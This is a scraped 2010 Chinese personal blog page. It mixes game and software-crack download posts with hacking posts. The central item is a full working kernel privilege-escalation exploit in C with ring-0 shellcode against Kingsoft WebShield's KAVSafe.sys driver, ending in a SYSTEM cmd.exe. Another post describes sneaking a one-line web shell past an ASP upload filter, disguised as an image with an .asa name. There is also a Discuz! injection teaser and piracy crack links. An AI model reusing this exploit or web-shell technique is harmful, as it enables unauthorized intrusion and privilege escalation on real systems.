yofx's blog

好玩的FLASH游戏推荐（二） N+1.4 PC版超赞的动作游戏

2010年7月13日 | 标签:

这个游戏个人很喜欢哈。。有时候玩的抓狂了。。。下载图像后缀修改为RAR解压即可玩。 PC版哈。。

就是这个图图下载吧呵呵

1 条评论 (45 Views)

好玩的FLASH游戏推荐（一）超级玛丽穿越版1.1

2010年7月13日 | 标签:

右键保存即可呵呵。。

超级马里奥FLASH穿越版1.1.

没有评论 (44 Views)

物是人非，谁都没错

2010年6月14日 | 标签:

好久没说写个啥了。。太懒了，不过的确人都在变呢，呵呵，老想回到过去是不现实地。

你们继续，我闪。

1 条评论 (58 Views)

# Title: Kingsoft WebShield KAVSafe.sys <= 2010.4.14.609(2010.5.23) Kernel Mode Local Priv. Escalation
# EDB-ID: 12710
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Xuanyuan Smart
# Published: 2010-05-23
# Verified: no
# Download Exploit Code
# Download N/A

^?Download download.txt

 
#define IOCTL_HOTPATCH_KERNEL_MODULE CTL_CODE(0x8300 , 0x835 , METHOD_BUFFERED ,FILE_ANY_ACCESS)  
 
typedef LONG (WINAPI *PNT_QUERY_INFORMATION_PROCESS)(  
 
  HANDLE ProcessHandle,  
 
  DWORD ProcessInformationClass,  
 
  PVOID ProcessInformation,  
 
  ULONG ProcessInformationLength,  
 
  PULONG ReturnLength  
 
    );  
 
 
 
typedef struct _STRING {  
 
    USHORT Length;  
 
    USHORT MaximumLength;  
 
    PCHAR Buffer;  
 
} STRING;  
 
typedef STRING *PSTRING;  
 
typedef struct _RTL_DRIVE_LETTER_CURDIR {  
 
    USHORT Flags;  
 
    USHORT Length;  
 
    ULONG TimeStamp;  
 
    STRING DosPath;  
 
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;  
 
typedef struct _UNICODE_STRING {  
 
    USHORT Length;  
 
    USHORT MaximumLength;  
 
    PWSTR  Buffer;  
 
} UNICODE_STRING;  
 
typedef UNICODE_STRING *PUNICODE_STRING;  
 
typedef const UNICODE_STRING *PCUNICODE_STRING;  
 
#define RTL_MAX_DRIVE_LETTERS 32  
 
#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001  
 
typedef struct _CURDIR {  
 
    UNICODE_STRING DosPath;  
 
    HANDLE Handle;  
 
} CURDIR, *PCURDIR;  
 
typedef struct _RTL_USER_PROCESS_PARAMETERS {  
 
    ULONG MaximumLength;  
 
    ULONG Length;  
 
    ULONG Flags;  
 
    ULONG DebugFlags;  
 
    HANDLE ConsoleHandle;  
 
    ULONG  ConsoleFlags;  
 
    HANDLE StandardInput;  
 
    HANDLE StandardOutput;  
 
    HANDLE StandardError;  
 
    CURDIR CurrentDirectory;        // ProcessParameters  
 
    UNICODE_STRING DllPath;         // ProcessParameters  
 
    UNICODE_STRING ImagePathName;   // ProcessParameters  
 
    UNICODE_STRING CommandLine;     // ProcessParameters  
 
    PVOID Environment;              // NtAllocateVirtualMemory  
 
    ULONG StartingX;  
 
    ULONG StartingY;  
 
    ULONG CountX;  
 
    ULONG CountY;  
 
    ULONG CountCharsX;  
 
    ULONG CountCharsY;  
 
    ULONG FillAttribute;  
 
    ULONG WindowFlags;  
 
    ULONG ShowWindowFlags;  
 
    UNICODE_STRING WindowTitle;     // ProcessParameters  
 
    UNICODE_STRING DesktopInfo;     // ProcessParameters  
 
    UNICODE_STRING ShellInfo;       // ProcessParameters  
 
    UNICODE_STRING RuntimeData;     // ProcessParameters  
 
    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ];  
 
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;  
 
typedef struct _PEB {  
 
    BOOLEAN InheritedAddressSpace;      // These four fields cannot change unless the  
 
    BOOLEAN ReadImageFileExecOptions;   //  
 
    BOOLEAN BeingDebugged;              //  
 
    BOOLEAN SpareBool;                  //  
 
    HANDLE Mutant;                      // INITIAL_PEB structure is also updated.  
 
    PVOID ImageBaseAddress;  
 
    PVOID Ldr;  
 
    struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters;  
 
} PEB, *PPEB;  
 
typedef LONG KPRIORITY;  
 
typedef struct _PROCESS_BASIC_INFORMATION {  
 
    LONG ExitStatus;  
 
    PVOID PebBaseAddress;  
 
    ULONG_PTR AffinityMask;  
 
    KPRIORITY BasePriority;  
 
    ULONG_PTR UniqueProcessId;  
 
    ULONG_PTR InheritedFromUniqueProcessId;  
 
} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;  
 
typedef struct {  
 
    ULONG   Unknown1;  
 
    ULONG   Unknown2;  
 
    PVOID   Base;  
 
    ULONG   Size;  
 
    ULONG   Flags;  
 
    USHORT  Index;  
 
    USHORT  NameLength;  
 
    USHORT  LoadCount;  
 
    USHORT  PathLength;  
 
    CHAR    ImageName[256];  
 
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;  
 
 
 
typedef struct {  
 
    ULONG   Count;  
 
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];  
 
} X_SYSTEM_MODULE_INFORMATION, *PX_SYSTEM_MODULE_INFORMATION;  
 
typedef LONG (WINAPI *PNT_QUERY_SYSTEM_INFORMATION) (  
 
   LONG SystemInformationClass,  
 
 PVOID SystemInformation,  
 
   ULONG SystemInformationLength,  
 
   PULONG ReturnLength  
 
    );  
 
 
 
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )  
 
typedef LONG (WINAPI *PNT_VDM_CONTROL) (  
 
   ULONG Service,  
 
   PVOID ServiceData  
 
    );  
 
VOID __declspec(naked) R0ShellCodeXP()  
 
{  
 
__asm  
 
{  
 
mov eax,0xffdff124  
 
mov eax,[eax]  
 
mov esi ,dword ptr[eax+0x220]  
 
mov eax,esi  
 
searchxp:  
 
mov eax,dword ptr[eax+0x88]  
 
sub eax,0x88  
 
mov edx,dword ptr[eax+0x84]  
 
cmp edx,4  
 
jnz searchxp  
 
mov eax,dword ptr[eax+0xc8]  
 
mov dword ptr[esi + 0xc8] , eax  
 
ret 8   
 
}  
 
}  
 
VOID NopNop()  
 
{  
 
printf("nop!\n");  
 
}  
 
 
 
#include "malloc.h"  
 
int main(int argc, char* argv[])  
 
{  
 
 
 
printf("KSWebShield KAVSafe.sys <= 2010,04,14,609\n" 
 
"Kernel Mode Privilege Escalation Vulnerability Proof-of-Concept\n" 
 
"2010-5-23\n" 
 
"By Lincoin \n\nPress Enter");  
 
HKEY hkey ;   
 
WCHAR InstallPath[MAX_PATH];  
 
DWORD datatype ;   
 
DWORD datasize = MAX_PATH * sizeof(WCHAR);  
 
ULONG oldlen ;  
 
PVOID pOldBufferData = NULL ;   
 
 
 
if (RegOpenKey(HKEY_LOCAL_MACHINE , "SOFTWARE\\Kingsoft\\KSWSVC", &hkey) == ERROR_SUCCESS)  
 
{  
 
if (RegQueryValueExW(hkey , L"ProgramPath" , NULL , &datatype , (LPBYTE)InstallPath , &datasize) != ERROR_SUCCESS)  
 
{  
 
RegCloseKey(hkey);  
 
printf("KSWebShield not installed\n");  
 
getchar();  
 
return 0 ;  
 
}  
 
 
 
RegCloseKey(hkey);  
 
}  
 
else 
 
{  
 
printf("KSWebShield not installed\n");  
 
getchar();  
 
return 0 ;  
 
}  
 
wcscat(InstallPath , L"\\kavinst.exe");  
 
 
 
 
 
PROCESS_BASIC_INFORMATION pbi ;   
 
 
 
PNT_QUERY_INFORMATION_PROCESS pNtQueryInformationProcess ;  
 
pNtQueryInformationProcess = (PNT_QUERY_INFORMATION_PROCESS)GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryInformationProcess");  
 
pNtQueryInformationProcess(NtCurrentProcess() , 0 , &pbi , sizeof(pbi) , NULL);  
 
 
 
PPEB peb ;   
 
 
 
peb = (PPEB)pbi.PebBaseAddress;  
 
oldlen = peb->ProcessParameters->ImagePathName.Length;  
 
peb->ProcessParameters->ImagePathName.Length = wcslen(InstallPath) * sizeof(WCHAR);  
 
pOldBufferData = malloc(peb->ProcessParameters->ImagePathName.Length);  
 
RtlCopyMemory(pOldBufferData,peb->ProcessParameters->ImagePathName.Buffer , peb->ProcessParameters->ImagePathName.Length);  
 
RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , InstallPath ,peb->ProcessParameters->ImagePathName.Length );  
 
HANDLE hdev = CreateFile("\\\\.\\KAVSafe" ,   
 
FILE_READ_ATTRIBUTES ,   
 
FILE_SHARE_READ ,   
 
0,  
 
OPEN_EXISTING ,   
 
0,  
 
0);  
 
 
 
if (hdev==INVALID_HANDLE_VALUE)  
 
{  
 
printf("cannot open device %u\n", GetLastError());  
 
getchar();  
 
return 0 ;   
 
}  
 
RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , pOldBufferData,peb->ProcessParameters->ImagePathName.Length);  
 
peb->ProcessParameters->ImagePathName.Length = (USHORT)oldlen ;   
 
 
 
PNT_QUERY_SYSTEM_INFORMATION pNtQuerySystemInformation  ;  
 
pNtQuerySystemInformation = (PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtQuerySystemInformation");  
 
X_SYSTEM_MODULE_INFORMATION sysmod ;   
 
HMODULE KernelHandle ;   
 
 
 
pNtQuerySystemInformation(0xb, &sysmod, sizeof(sysmod), NULL);  
 
    KernelHandle = LoadLibrary(strrchr(sysmod.Module[0].ImageName, '\\') + 1);  
 
if (KernelHandle == 0 )  
 
{  
 
printf("cannot load ntoskrnl!\n");  
 
getchar();  
 
return 0 ;   
 
}  
 
PVOID pNtVdmControl = GetProcAddress(KernelHandle , "NtVdmControl");  
 
 
 
if (pNtVdmControl == 0 )  
 
{  
 
printf("cannot find NtVdmControl!\n");  
 
getchar();  
 
return 0 ;   
 
}  
 
pNtVdmControl = (PVOID)((ULONG)pNtVdmControl - (ULONG)KernelHandle  );  
 
 
 
printf("NtVdmControl = %08x" , pNtVdmControl );  
 
getchar();  
 
ULONG ShellCodeSize = (ULONG)NopNop - (ULONG)R0ShellCodeXP;  
 
ULONG pShellCode = (ULONG)R0ShellCodeXP;   
 
 
 
 
 
PVOID Data = malloc(0x48 + ShellCodeSize);  
 
 
 
CopyMemory((PVOID)((ULONG)Data + 0x48) , R0ShellCodeXP , ShellCodeSize);  
 
CHAR ModuleName[68]= "ntoskrnl.exe" ;   
 
RtlCopyMemory( Data , ModuleName , sizeof(ModuleName));  
 
*(ULONG*)((ULONG)Data + 64) = (ULONG)pNtVdmControl;  
 
*(ULONG*)((ULONG)Data + 68) = ShellCodeSize ;  
 
ULONG btr ;   
 
if (!DeviceIoControl(hdev ,  
 
IOCTL_HOTPATCH_KERNEL_MODULE ,   
 
Data ,   
 
0x48 + ShellCodeSize ,   
 
NULL ,   
 
0,  
 
&btr , 0   
 
))  
 
{  
 
printf("cannot device io control!%u\n" , GetLastError());  
 
getchar();  
 
return 0;  
 
}  
 
 
 
CloseHandle(hdev);  
 
 
 
PNT_VDM_CONTROL pR3NtVdmControl = (PNT_VDM_CONTROL)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtVdmControl");  
 
pR3NtVdmControl(0,0);  
 
WinExec("cmd.exe" , SW_SHOW);  
 
printf("OK!\n ");  
 
 
 
getchar();  
 
 
 
return 0;   
 
}

2 条评论 (97 Views)

xpic.asp 类似上传突破方法

2010年3月31日 | 标签:

http://www.xxx.cn/admin/xpic.asp?b=a_Info1&c=PicS&d=106&e=PicS&f=src

例如这个咯..朋友发来的,后台瞅瞅真够简陋的,就不管了呵呵.
想办法利用上传和EWE吧.
恩目前状况: EWE 数据库有没有管理页面 2.8.0 的翻看一次无果
后台什么都没…悲剧
最终只能锁定在上传上,看能否突破了.
尝试上传 x.asp;x.jpg 失败 x.asp;#.jpg 出错
尝试上传 X.jpg 空文件出错看来是有搞头的
因为上传是自动改名的,就必须想办法让他不改名呵呵.结果呢..处理ASA的时候有希望了..当尝试到ASA的时候竟然能够不改名了..哦天哪..
啥话不说弄一张比较小的图片出来…为什么呢?为什么不直接写个一句话?
这里就要牵扯一些问题了.有兴趣的朋友自己看源码吧.
只说一些症状:如果上传只包含一句话的asa出错..包含汉字的文件名还是出错呵呵.不多说了.
只要保证文件名没有汉字,随便用Q截图弄个2平方厘米的图片,一句话放到最后,改下名字比如 200000000.asa 上传吧..
最近奇怪了遇到了好多类似的呵呵..

4 条评论 (167 Views)

cryptographic services 找不到？容易。。

2010年3月26日 | 标签:

把以下内容拷贝到记事本里面，另存为sryptsvc.reg文件，注意后缀为.reg ，文件图标是注册表文件的图标,双击这该文件，导入注册表即可恢复缺少的cryptographic service 服务项,重启系统后恢复系统加密服务项.

阅读全文…

5 条评论 (529 Views)

Discuz! v7.2 注入漏洞分析与利用

2010年3月10日 | 标签: Discuz!, 注入漏洞

在最新的discuz! 7.2中自带了一个新的应用程序插件manyou。恰恰在这个新插件中，没有对传入的参数进行检查，在GPC为off的情况下，导致注入漏洞的产生。

漏洞分析：
文件./manyou/sources/notice.php

荣光医院助手高级版v3.1 还是很容易破掉。。。

2010年3月8日 | 标签: 荣光医院

恩，没有做任何变化，还是以前的方法就可以干掉。。。

晕死咯。。

48 条评论 (1,219 Views)

RealVNC 怎么传输文件呢? 很简单

2010年3月8日 | 标签:

RealVNC 是说支持文件传输的,可是默认情况下是不行的,解决方法很简单

选项—输入然后选择自定义默认即可勾选的即可.

下面VNC连接上去, 本地要想传什么上去?Ctrl+C VNC上 +V 即可

没有评论 (877 Views)

星际争霸2 破解集合 3月1更新（一键工具问世了~）

2010年2月26日 | 标签:

1. 看REP

老东西了，不放上来了呵呵。以后只放新的

2.单人用户界面（自己能进去造造东西熟悉操作了，没有电脑很遗憾）

国内网盘：
http://www.rayfile.com/zh-cn/files/28456733-21f6-11df-a44a-0015c55db73d/

国外网盘：（直接打开网页按照提示下载）
http://rs4.rapidshare.com/files/355367893/Battle.net.rar
呵呵激动异常，效果图阅读全文…

2 条评论 (530 Views)

置顶